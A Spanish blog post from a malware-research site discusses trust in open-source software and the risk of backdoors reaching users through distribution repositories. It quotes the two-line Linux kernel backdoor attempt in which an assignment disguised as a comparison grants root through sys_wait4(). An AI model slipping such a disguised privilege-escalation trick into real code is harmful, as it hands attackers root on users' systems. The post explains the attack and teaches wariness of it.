Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

lunes, 14 de enero de 2008

CUESTIÓN DE CONFIANZA
Siempre se escucha que Linux es más seguro que Windows, que no hay virus, que al ser libre hay mucha gente que revisa el código, que el diseño de los usuarios y privilegios dificulta que se extiendan, y otros comentarios por el estilo. Lo cierto es que es hay pocos virus, muchos son pruebas de concepto (incluso se desinstalan si se le pide educadamente) y ninguno ha conseguido propagarse eficientemente, con lo que ese riesgo es prácticamente inexistente.

Una de las posibles fuentes de infección masiva, viene del hecho de que el código fuente esté accesible. Una puerta trasera introducida en el código, en caso de pasar desapercibida, podría llegar a miles de usuarios a través de los repositorios de las distintas distribuciones. Estos usuarios confían en el software compilado y firmado por una de estas fuentes oficiales. Normalmente, hay unos pocos desarrolladores que pueden modificar el código o aplicar parches que proponen terceras personas, siempre después de revisarlos, por lo que no es fácil que esto suceda. Por ejemplo, hace unos años hubo un intento de instalar una puerta trasera en el propio kernel de Linux. Eran tan solo 2 lineas:
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Es fácil ver que en (current->uid = 0) no se está comparando current->uid con 0, sino que se se está asignando. Después de este cambio, llamando a la función sys_wait4() con los flags __WCLONE y __WALL, se obtenían permisos de root. En realidad, el código se modificó en una copia del repositorio que contiene el código del kernel y no llegó a publicarse al detectarse a tiempo.

El riesgo de que se introduzca una puerta trasera es bajo, pero es posible, al igual que los bugs pasan desapercibidos y acaban en el usuario. Obviamente, es imposible revisar el código de todo el software que utilizamos (a veces incluso no tenemos esa posibilidad) y tenemos que confiar más o menos en quien desarrolla y distribuye el software. Bueno, siempre nos podemos fiar del código escrito por nosotros mismos, o quizás no.

0 comentarios:

Publicar un comentario en la entrada